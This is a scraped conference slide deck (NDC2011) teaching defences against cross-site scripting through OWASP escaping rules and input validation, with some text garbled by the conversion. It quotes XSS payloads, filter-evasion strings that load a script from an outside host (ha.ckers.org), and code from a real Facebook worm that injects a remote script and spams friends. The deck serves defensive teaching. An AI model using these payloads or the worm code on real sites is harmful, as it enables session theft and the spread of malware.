Avoiding Cross Site Scripting - Not as easy as you might think

Avoiding Cross Site Scripting Not as easy as you might think NDC2011 – Erlend Oftedal

Some security experts say it's easy to protect against... but that may not always be the case

Statistics Common error OWASP Top 10 Sans Top 25 Most Dangerous software errors http://info.veracode.com/rs/veracode/images/soss-v3.pdf

XSS - statistics http://info.veracode.com/rs/veracode/images/soss-v3.pdf

http://security-sh3ll.blogspot.com/2011/05/twitter-xss.html

Risk Stealing data from client Stealing data from server Exploiting the browser Session hijacking Form manipulation - keylogging

http://telenorsoc.blogspot.com/2008/10/malware-og-drive-by-exploits.html

http://www.bindshell.net/tools/beef/screenshots.html

Why the name Cross Site Scripting? <iframe src="http://mail.google.com"> <script> </iframe>

Same Origin Policy Two frames/windows may only speak if they share: ,[object Object]

the same protocol ,[object Object]

What’s going on? <input type="text" name="search" value=""> An input of 123 yields: <input type="text" name="search" value="123"> An input of hello"world yields: <input type="text" name="search“ value="hello"world"> An input of hello"><script>alert(1)</script> yields: <input type="text" name="search" value="hello"><script>alert(1)</script>">

Types of Cross Site Scripting Reflected Persistent Second order / indirect / side channel

What data can you actually trust? Scripts? Web services? Databases?

Input validation Blacklisting keywords Blacklisting/whitelisting characters

How do you validate input? Input: test Validation: [a-z]+

How do you validate input? Input: "this is a test" Validation: [a-z"]+

How do you validate input? Input: Conan O’Brian Validation: [a-zA-Z"']+

How do you validate input? Input: No, your calculation is wrong, because x > 5 Validation: [a-zA-Z"'>.,]+

How do you validate input? Input: Try moving the <script> tag to the bottom of the page. Validation: [a-zA-Z"‘<>.,]+

ASP.NET Request Validation Throws exception on: &# < followed by a-z, !, ? Or / Can be disabled per page / model field Sometimes good reason to disable Only stops the simpler attacks

A couple of tricks Build a javascript string without quotes: String.fromCharCode(88, 83, 83) /XSS/.source Running script without user invocation: <img src="x" onerror="alert(1)" /> <input ... Value="" autofocus onfocus="alert(1)" />

HTML escaping – almost there, but not quite System.Web.HttpUtility.HtmlEncode(string s) Replace ,[object Object]

Ascii 160 to 255 replaced with0#nn;,[object Object]

Per context escaping We need to escape depending on context(s) OWASP XSS Prevention Cheat Sheet Rules for context and escaping

Rule #0 - Forbidden <script>...NEVER PUT UNTRUSTED DATA HERE...</script> directly in a script  inside an HTML comment <div...NEVER PUT UNTRUSTED DATA HERE...=test/> in an attribute name <NEVER PUT UNTRUSTED DATA HERE... href="/test"/> in a tag name

Rule#1 – Between tags <div> ...HTML ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE... </div> => HTML escaping

Rule#2 - Attributes Inside unquoted attribute: <divattr=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...> content </div> Inside single quoted attribute <div attr='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'> content </div> Inside double quoted attribute <div attr="...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> content </div>  HTML attribute escaping

Rule #3 – in javascript strings Inside a quoted string <script> alert('...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...') </script> One side of a quoted expression <script> x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...' </script> Inside quoted event handler: <div onmouseover="x='...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...'"></div> Javascriptescaping NEVER put untrusted data inside strings passed to eval(), setInterval() and similar

Rule #4 – In CSS <style> selector { property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...; } </style> <style> selector { property : "...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."; } </style> <spanstyle="property : ...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE..."> text </span> CSS escaping

Rule#5 - URLs <a href="http://www.somesite.com?test=...ESCAPE UNTRUSTED DATA BEFORE PUTTING HERE...">link</a> URL escaping

http://www.hackersbay.in/2011/05/facebook-worm-spreading-verify-my.html

varmyText = "==>[VERIFY MY ACCOUNT]<=="; varjsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();"; ... For each friend post a message { varurlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1"; varparamswp = "&__d=1&app_id=6628568379&extern=0&" + "&post_form_id=" + post_form_id + "&fb_dtsg=" + fb_dtsg + "&feed_info[action_links][0][href]=" + (jsText) + "&feed_info[action_links][0][text]=" + (myText) + "&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + "&user_message=" + message; ... }

Rule#6 – Use a policy driven engine Use an HTML Policy engine to validate or clean user-driven HTML in an outbound way. Must be a whitelist based engine. OWASP AntiSamy HtmlPurifier

Why you do NOT write your own HTML-cleaner/sanitizer <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT> <BODY onload!#$%&()*~+-_.,:;?@[/|^`=alert("XSS")> <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>"> <charset="x-mac-farsi">☼script ☾alert(1)//☼/script ☾ http://ha.ckers.org/xss.html

Rule#7 – Avoid DOM based XSS

DOM based XSS Insecure handling of input in javascript - reading values from: ,[object Object]

native javascript objects/properties like

window.location.hashAllows attacks present in URLs that are never seen by the server http://www.somesite.com/#banner=may2011 http://www.somesite.com/#banner=may2011"><script>...

Demo $(location.hash) $("#<script>alert(1)</script>") http://codesearch.google.com/codesearch?as_q=%22%24%28location.hash%29%22

Avoiding DOM based XSS ,[object Object]

Beware of the complex contexts

Avoiding Cross Site Scripting - Not as easy as you might think

Recomendados

Recomendados

Mais conteúdo relacionado

Mais procurados

Mais procurados (20)

Destaque

Destaque (8)

Semelhante a Avoiding Cross Site Scripting - Not as easy as you might think

Semelhante a Avoiding Cross Site Scripting - Not as easy as you might think (20)

Último

Último (20)

Avoiding Cross Site Scripting - Not as easy as you might think

Notas do Editor